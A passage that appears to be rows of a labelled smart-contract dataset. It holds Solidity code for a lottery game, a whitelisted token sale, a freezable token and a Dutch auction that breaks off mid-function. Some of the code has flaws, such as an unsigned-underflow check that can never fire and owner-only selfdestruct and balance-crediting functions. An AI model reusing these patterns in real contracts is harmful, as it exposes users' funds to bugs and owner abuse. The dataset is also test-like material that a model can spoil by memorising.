uint value;
uint shares;
uint mask;
}
struct Vault {
uint value;
uint shares;
uint mask;
}
mapping (uint => mapping (address => Vault)) private vaultOfAddress;
mapping (uint => Scheme) private schemeOfId;
function buyShares (uint _schemeId, address _owner, uint _shares, uint _value) internal {
require(_owner != address(0));
require(_shares > 0 && _value > 0);
uint value = _value.mul(FIXED_POINT);
Scheme storage scheme = schemeOfId[_schemeId];
scheme.value = scheme.value.add(_value);
scheme.shares = scheme.shares.add(_shares);
require(value > scheme.shares);
uint pps = value.div(scheme.shares);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.shares = vault.shares.add(_shares);
vault.mask = vault.mask.add(scheme.mask.mul(_shares));
vault.value = vault.value.add(value.sub(pps.mul(scheme.shares)));
scheme.mask = scheme.mask.add(pps);
}
function flushVault (uint _schemeId, address _owner) internal {
uint gains = gainsOfVault(_schemeId, _owner);
if (gains > 0) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(gains);
vault.mask = vault.mask.add(gains);
}
}
function withdrawVault (uint _schemeId, address _owner) internal returns (uint) {
flushVault(_schemeId, _owner);
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint payout = vault.value.div(FIXED_POINT);
if (payout > 0) {
vault.value = 0;
}
return payout;
}
function creditVault (uint _schemeId, address _owner, uint _value) internal {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
vault.value = vault.value.add(_value.mul(FIXED_POINT));
}
function gainsOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Scheme storage scheme = schemeOfId[_schemeId];
Vault storage vault = vaultOfAddress[_schemeId][_owner];
if (vault.shares == 0) {
return 0;
}
return scheme.mask.mul(vault.shares).sub(vault.mask);
}
function valueOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.value;
}
function balanceOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
uint total = vault.value.add(gainsOfVault(_schemeId, _owner));
uint balance = total.div(FIXED_POINT);
return balance;
}
function sharesOfVault (uint _schemeId, address _owner) internal view returns (uint) {
Vault storage vault = vaultOfAddress[_schemeId][_owner];
return vault.shares;
}
function valueOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].value;
}
function sharesOfScheme (uint _schemeId) internal view returns (uint) {
return schemeOfId[_schemeId].shares;
}
}
library Utils {
using SafeMath for uint;
uint private constant LAST_COUNTRY = 195;
function regularTicketPrice () internal pure returns (uint) {
return 100000000000000;
}
function goldenTicketPrice (uint _x) internal pure returns (uint) {
uint price = _x.mul(_x).div(2168819140000000000000000).add(100000000000000).add(_x.div(100000));
return price < regularTicketPrice() ? regularTicketPrice() : price;
}
function ticketsForWithExcess (uint _value) internal pure returns (uint, uint) {
uint tickets = _value.div(regularTicketPrice());
uint excess = _value.sub(tickets.mul(regularTicketPrice()));
return (tickets, excess);
}
function percentageOf (uint _value, uint _p) internal pure returns (uint) {
return _value.mul(_p).div(100);
}
function validReferralCode (string _code) internal pure returns (bool) {
bytes memory b = bytes(_code);
if (b.length < 3) {
return false;
}
for (uint i = 0; i < b.length; i++) {
bytes1 c = b[i];
if (
!(c >= 0x30 && c <= 0x39) &&
!(c >= 0x41 && c <= 0x5A) &&
!(c >= 0x61 && c <= 0x7A) &&
!(c == 0x2D)
) {
return false;
}
}
return true;
}
function validNick (string _nick) internal pure returns (bool) {
return bytes(_nick).length > 3;
}
function validCountryId (uint _countryId) internal pure returns (bool) {
return _countryId > 0 && _countryId <= LAST_COUNTRY;
}
}
contract Events {
event Started (
uint _time
);
event Bought (
address indexed _player,
address indexed _referral,
uint _countryId,
uint _tickets,
uint _value,
uint _excess
);
event Promoted (
address indexed _player,
uint _goldenTickets,
uint _endTime
);
event Withdrew (
address indexed _player,
uint _amount
);
event Registered (
string _code, address indexed _referral
);
event Won (
address indexed _winner, uint _pot
);
}
contract Constants {
uint internal constant MAIN_SCHEME = 1337;
uint internal constant DEFAULT_COUNTRY = 1;
uint internal constant SET_NICK_FEE = 0.01 ether;
uint internal constant REFERRAL_REGISTRATION_FEE = 0.1 ether;
uint internal constant TO_DIVIDENDS = 40;
uint internal constant TO_REFERRAL = 10;
uint internal constant TO_DEVELOPERS = 8;
uint internal constant TO_COUNTRY = 12;
}
contract State is Constants {
address internal addressOfOwner;
uint internal maxTime = 0;
uint internal addedTime = 0;
uint internal totalPot = 0;
uint internal startTime = 0;
uint internal endTime = 0;
bool internal potWithdrawn = false;
address internal addressOfCaptain;
struct Info {
address referral;
uint countryId;
uint withdrawn;
string nick;
}
mapping (address => Info) internal infoOfAddress;
mapping (address => string[]) internal codesOfAddress;
mapping (string => address) internal addressOfCode;
modifier restricted () {
require(msg.sender == addressOfOwner);
_;
}
modifier active () {
require(startTime > 0);
require(block.timestamp < endTime);
require(!potWithdrawn);
_;
}
modifier player () {
require(infoOfAddress[msg.sender].countryId > 0);
_;
}
}
contract Core is Events, State, Dividends {}
contract ExternalView is Core {
function totalInfo () external view returns (bool, bool, address, uint, uint, uint, uint, uint, uint, address) {
return (
startTime > 0,
block.timestamp >= endTime,
addressOfCaptain,
totalPot,
endTime,
sharesOfScheme(MAIN_SCHEME),
valueOfScheme(MAIN_SCHEME),
maxTime,
addedTime,
addressOfOwner
);
}
function countryInfo (uint _countryId) external view returns (uint, uint) {
return (
sharesOfScheme(_countryId),
valueOfScheme(_countryId)
);
}
function playerInfo (address _player) external view returns (uint, uint, uint, address, uint, uint, string) {
Info storage info = infoOfAddress[_player];
return (
sharesOfVault(MAIN_SCHEME, _player),
balanceOfVault(MAIN_SCHEME, _player),
balanceOfVault(info.countryId, _player),
info.referral,
info.countryId,
info.withdrawn,
info.nick
);
}
function numberOfReferralCodes (address _player) external view returns (uint) {
return codesOfAddress[_player].length;
}
function referralCodeAt (address _player, uint i) external view returns (string) {
return codesOfAddress[_player][i];
}
function codeToAddress (string _code) external view returns (address) {
return addressOfCode[_code];
}
function goldenTicketPrice (uint _x) external pure returns (uint) {
return Utils.goldenTicketPrice(_x);
}
}
contract Internal is Core {
function _registerReferral (string _code, address _referral) internal {
require(Utils.validReferralCode(_code));
require(addressOfCode[_code] == address(0));
addressOfCode[_code] = _referral;
codesOfAddress[_referral].push(_code);
emit Registered(_code, _referral);
}
}
contract WinnerWinner is Core, Internal, ExternalView {
using SafeMath for *;
constructor () public {
addressOfOwner = msg.sender;
}
function () public payable {
buy(addressOfOwner, DEFAULT_COUNTRY);
}
function start (uint _maxTime, uint _addedTime) public restricted {
require(startTime == 0);
require(_maxTime > 0 && _addedTime > 0);
require(_maxTime > _addedTime);
maxTime = _maxTime;
addedTime = _addedTime;
startTime = block.timestamp;
endTime = startTime + maxTime;
addressOfCaptain = addressOfOwner;
_registerReferral("owner", addressOfOwner);
emit Started(startTime);
}
function buy (address _referral, uint _countryId) public payable active {
require(msg.value >= Utils.regularTicketPrice());
require(msg.value <= 100000 ether);
require(codesOfAddress[_referral].length > 0);
require(_countryId != MAIN_SCHEME);
require(Utils.validCountryId(_countryId));
(uint tickets, uint excess) = Utils.ticketsForWithExcess(msg.value);
uint value = msg.value.sub(excess);
require(tickets > 0);
require(value.add(excess) == msg.value);
Info storage info = infoOfAddress[msg.sender];
if (info.countryId == 0) {
info.referral = _referral;
info.countryId = _countryId;
}
uint vdivs = Utils.percentageOf(value, TO_DIVIDENDS);
uint vreferral = Utils.percentageOf(value, TO_REFERRAL);
uint vdevs = Utils.percentageOf(value, TO_DEVELOPERS);
uint vcountry = Utils.percentageOf(value, TO_COUNTRY);
uint vpot = value.sub(vdivs).sub(vreferral).sub(vdevs).sub(vcountry);
assert(vdivs.add(vreferral).add(vdevs).add(vcountry).add(vpot) == value);
buyShares(MAIN_SCHEME, msg.sender, tickets, vdivs);
buyShares(info.countryId, msg.sender, tickets, vcountry);
creditVault(MAIN_SCHEME, info.referral, vreferral);
creditVault(MAIN_SCHEME, addressOfOwner, vdevs);
if (excess > 0) {
creditVault(MAIN_SCHEME, msg.sender, excess);
}
uint goldenTickets = value.div(Utils.goldenTicketPrice(totalPot));
if (goldenTickets > 0) {
endTime = endTime.add(goldenTickets.mul(addedTime)) > block.timestamp.add(maxTime) ?
block.timestamp.add(maxTime) : endTime.add(goldenTickets.mul(addedTime));
addressOfCaptain = msg.sender;
emit Promoted(addressOfCaptain, goldenTickets, endTime);
}
totalPot = totalPot.add(vpot);
emit Bought(msg.sender, info.referral, info.countryId, tickets, value, excess);
}
function setNick (string _nick) public payable {
require(msg.value == SET_NICK_FEE);
require(Utils.validNick(_nick));
infoOfAddress[msg.sender].nick = _nick;
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function registerCode (string _code) public payable {
require(msg.value == REFERRAL_REGISTRATION_FEE);
_registerReferral(_code, msg.sender);
creditVault(MAIN_SCHEME, addressOfOwner, msg.value);
}
function giftCode (string _code, address _referral) public restricted {
_registerReferral(_code, _referral);
}
function withdraw () public {
Info storage info = infoOfAddress[msg.sender];
uint payout = withdrawVault(MAIN_SCHEME, msg.sender);
if (Utils.validCountryId(info.countryId)) {
payout = payout.add(withdrawVault(info.countryId, msg.sender));
}
if (payout > 0) {
info.withdrawn = info.withdrawn.add(payout);
msg.sender.transfer(payout);
emit Withdrew(msg.sender, payout);
}
}
function withdrawPot () public player {
require(startTime > 0);
require(block.timestamp > (endTime + 10 minutes));
require(!potWithdrawn);
require(totalPot > 0);
require(addressOfCaptain == msg.sender);
uint payout = totalPot;
totalPot = 0;
potWithdrawn = true;
addressOfCaptain.transfer(payout);
emit Won(msg.sender, payout);
}
} | 1 | 2,745 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) { return 0; }
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract QurozToken {
function transfer(address _to, uint256 _value) public returns (bool) {}
}
contract QforaSale {
using SafeMath for uint256;
uint256 public goal;
uint256 public rate;
uint256 public openingTime;
uint256 public closingTime;
uint256 public weiRaised;
uint256 public tokenSold;
uint256 public threshold;
uint256 public hardCap;
uint256 public bonusRate;
address public wallet;
address public owner;
bool public isFinalized;
mapping(address => uint256) public balances;
mapping(address => uint256) public deposited;
mapping(address => bool) public whitelist;
enum State { Active, Refunding, Closed }
State public state;
QurozToken public token;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Finalized();
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed purchaser,address indexed beneficiary,uint256 value,uint256 amount);
constructor(address _wallet, QurozToken _token) public {
require(_wallet != address(0) && _token != address(0));
owner = msg.sender;
wallet = _wallet;
token = _token;
goal = 5000e18;
rate = 10000;
threshold = 100e18;
hardCap = 50000e18;
bonusRate = 20;
openingTime = now.add(0 minutes);
closingTime = openingTime.add(22 days + 5 hours + 30 minutes);
require(block.timestamp <= openingTime && openingTime <= closingTime);
}
modifier onlyOwner() {require(msg.sender == owner); _;}
modifier isWhitelisted(address _beneficiary) {require(whitelist[_beneficiary]); _;}
function addToWhitelist(address _beneficiary) public onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) public onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) public onlyOwner {
whitelist[_beneficiary] = false;
}
function () external payable {
require(openingTime <= block.timestamp && block.timestamp <= closingTime);
require(whitelist[msg.sender]);
require(msg.value >= threshold );
require(weiRaised.add(msg.value) <= hardCap );
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
uint256 totalTokens = tokens.mul(100 + bonusRate).div(100);
weiRaised = weiRaised.add(weiAmount);
tokenSold = tokenSold.add(totalTokens);
_processPurchase(_beneficiary, totalTokens);
deposit(_beneficiary, msg.value);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function deposit(address investor, uint256 value) internal {
require(state == State.Active);
deposited[investor] = deposited[investor].add(value);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
if (goalReached()) { close(); }
else { enableRefunds(); }
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
refund(msg.sender);
}
function refund(address investor) public {
require(state == State.Refunding);
require(deposited[investor] > 0);
uint256 depositedValue = deposited[investor];
balances[investor] = 0;
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function withdrawTokens() public {
require(hasClosed());
uint256 amount = balances[msg.sender];
require(amount > 0);
balances[msg.sender] = 0;
_deliverTokens(msg.sender, amount);
deposited[msg.sender] = 0;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
function transferToken(address to, uint256 value) onlyOwner public {
token.transfer(to, value);
}
function setBonusRate(uint256 _bonusRate) public onlyOwner{
_setBonusRate(_bonusRate);
}
function _setBonusRate(uint256 _bonusRate) internal {
bonusRate = _bonusRate;
}
function getBalanceOf(address investor) public view returns(uint256) {
return balances[investor];
}
function getDepositedOf(address investor) public view returns(uint256) {
return deposited[investor];
}
function getWeiRaised() public view returns(uint256) {
return weiRaised;
}
function getTokenSold() public view returns(uint256) {
return tokenSold;
}
function addSmallInvestor(address _beneficiary, uint256 weiAmount, uint256 totalTokens) public onlyOwner {
require(whitelist[_beneficiary]);
require(weiAmount >= 1 ether );
require(weiRaised.add(weiAmount) <= hardCap );
weiRaised = weiRaised.add(weiAmount);
tokenSold = tokenSold.add(totalTokens);
_processPurchase(_beneficiary, totalTokens);
}
} | 1 | 5,006 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract BattleOfTitansToken is StandardToken, Pausable {
string public constant name = 'BattleOfTitans';
string public constant symbol = 'BoT';
uint8 public constant decimals = 8;
uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(decimals);
mapping (address => uint256) public frozenAccount;
event FrozenFunds(address target, uint256 frozen);
function BattleOfTitansToken() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
function transfer(address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(_to, _value);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) {
freezeCheck(_to, _value);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function freezeAccount(address target, uint256 freeze) onlyOwner {
require(block.timestamp < (1505645727 + 3600*10));
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function freezeCheck(address _to, uint256 _value) {
if(frozenAccount[_to] > 0) {
require(block.timestamp < (1505645727 +86400/2));
}
uint forbiddenPremine = (1505645727 +86400/2) - block.timestamp + 86400*1;
if (forbiddenPremine < 0) forbiddenPremine = 0;
require(_to != address(0));
require(balances[msg.sender] >= _value + frozenAccount[msg.sender] * forbiddenPremine / (86400*1) );
require(balances[_to] + _value > balances[_to]);
}
} | 1 | 5,084 |
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
require(token.transferFrom(from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
pragma solidity ^0.5.0;
contract AbstractENS {
function owner(bytes32 _node) public view returns(address);
function resolver(bytes32 _node) public view returns(address);
function ttl(bytes32 _node) public view returns(uint64);
function setOwner(bytes32 _node, address _owner) public;
function setSubnodeOwner(bytes32 _node, bytes32 _label, address _owner) public;
function setResolver(bytes32 _node, address _resolver) public;
function setTTL(bytes32 _node, uint64 _ttl) public;
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
}
pragma solidity ^0.5.0;
contract AbstractResolver {
function supportsInterface(bytes4 _interfaceID) public view returns (bool);
function addr(bytes32 _node) public view returns (address ret);
function setAddr(bytes32 _node, address _addr) public;
function hash(bytes32 _node) public view returns (bytes32 ret);
function setHash(bytes32 _node, bytes32 _hash) public;
}
pragma solidity ^0.5.0;
contract SingletonHash {
event HashConsumed(bytes32 indexed hash);
mapping(bytes32 => bool) public isHashConsumed;
function singletonHash(bytes32 _hash) internal {
require(!isHashConsumed[_hash]);
isHashConsumed[_hash] = true;
emit HashConsumed(_hash);
}
}
pragma solidity ^0.5.0;
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
contract SignerRole {
using Roles for Roles.Role;
event SignerAdded(address indexed account);
event SignerRemoved(address indexed account);
Roles.Role private _signers;
constructor () internal {
_addSigner(msg.sender);
}
modifier onlySigner() {
require(isSigner(msg.sender));
_;
}
function isSigner(address account) public view returns (bool) {
return _signers.has(account);
}
function addSigner(address account) public onlySigner {
_addSigner(account);
}
function renounceSigner() public {
_removeSigner(msg.sender);
}
function _addSigner(address account) internal {
_signers.add(account);
emit SignerAdded(account);
}
function _removeSigner(address account) internal {
_signers.remove(account);
emit SignerRemoved(account);
}
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.0;
contract SignatureBouncer is SignerRole {
using ECDSA for bytes32;
uint256 private constant _METHOD_ID_SIZE = 4;
uint256 private constant _SIGNATURE_SIZE = 96;
constructor () internal {
}
modifier onlyValidSignature(bytes memory signature) {
require(_isValidSignature(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndMethod(bytes memory signature) {
require(_isValidSignatureAndMethod(msg.sender, signature));
_;
}
modifier onlyValidSignatureAndData(bytes memory signature) {
require(_isValidSignatureAndData(msg.sender, signature));
_;
}
function _isValidSignature(address account, bytes memory signature) internal view returns (bool) {
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account)), signature);
}
function _isValidSignatureAndMethod(address account, bytes memory signature) internal view returns (bool) {
bytes memory data = new bytes(_METHOD_ID_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidSignatureAndData(address account, bytes memory signature) internal view returns (bool) {
require(msg.data.length > _SIGNATURE_SIZE);
bytes memory data = new bytes(msg.data.length - _SIGNATURE_SIZE);
for (uint i = 0; i < data.length; i++) {
data[i] = msg.data[i];
}
return _isValidDataHash(keccak256(abi.encodePacked(address(this), account, data)), signature);
}
function _isValidDataHash(bytes32 hash, bytes memory signature) internal view returns (bool) {
address signer = hash.toEthSignedMessageHash().recover(signature);
return signer != address(0) && isSigner(signer);
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.0;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.0;
contract DutchAuction is SignatureBouncer, Ownable {
using SafeERC20 for ERC20Burnable;
event BidSubmission(address indexed sender, uint256 amount);
uint constant public WAITING_PERIOD = 0;
ERC20Burnable public token;
address public ambix;
address payable public wallet;
uint public maxTokenSold;
uint public ceiling;
uint public priceFactor;
uint public startBlock;
uint public endTime;
uint public totalReceived;
uint public finalPrice;
mapping (address => uint) public bids;
Stages public stage;
enum Stages {
AuctionDeployed,
AuctionSetUp,
AuctionStarted,
AuctionEnded,
TradingStarted
}
modifier atStage(Stages _stage) {
require(stage == _stage);
_;
}
modifier isValidPayload() {
require(msg.data.length == 4 || msg.data.length == 164);
_;
}
modifier timedTransitions() {
if (stage == Stages.AuctionStarted && calcTokenPrice() <= calcStopPrice())
finalizeAuction();
if (stage == Stages.AuctionEnded && now > endTime + WAITING_PERIOD)
stage = Stages.TradingStarted;
_;
}
constructor(address payable _wallet, uint _maxTokenSold, uint _ceiling, uint _priceFactor)
public
{
require(_wallet != address(0) && _ceiling > 0 && _priceFactor > 0);
wallet = _wallet;
maxTokenSold = _maxTokenSold;
ceiling = _ceiling;
priceFactor = _priceFactor;
stage = Stages.AuctionDeployed;
}
function setup(ERC20Burnable _token, address _ambix)
public
onlyOwner
atStage(Stages.AuctionDeployed)
{
require(_token != ERC20Burnable(0) && _ambix != address(0));
token = _token;
ambix = _ambix;
require(token.balanceOf(address(this)) == maxTokenSold);
stage = Stages.AuctionSetUp;
}
function startAuction()
public
onlyOwner
atStage(Stages.AuctionSetUp)
{
stage = Stages.AuctionStarted;
startBlock = block.number;
}
function calcCurrentTokenPrice()
public
timedTransitions
returns (uint)
{
if (stage == Stages.AuctionEnded || stage == Stages.TradingStarted)
return finalPrice;
return calcTokenPrice();
}
function updateStage()
public
timedTransitions
returns (Stages)
{
return stage;
}
function bid(bytes calldata signature)
external
payable
isValidPayload
timedTransitions
atStage(Stages.AuctionStarted)
onlyValidSignature(signature)
returns (uint amount)
{
require(msg.value > 0);
amount = msg.value;
address payable receiver = msg.sender;
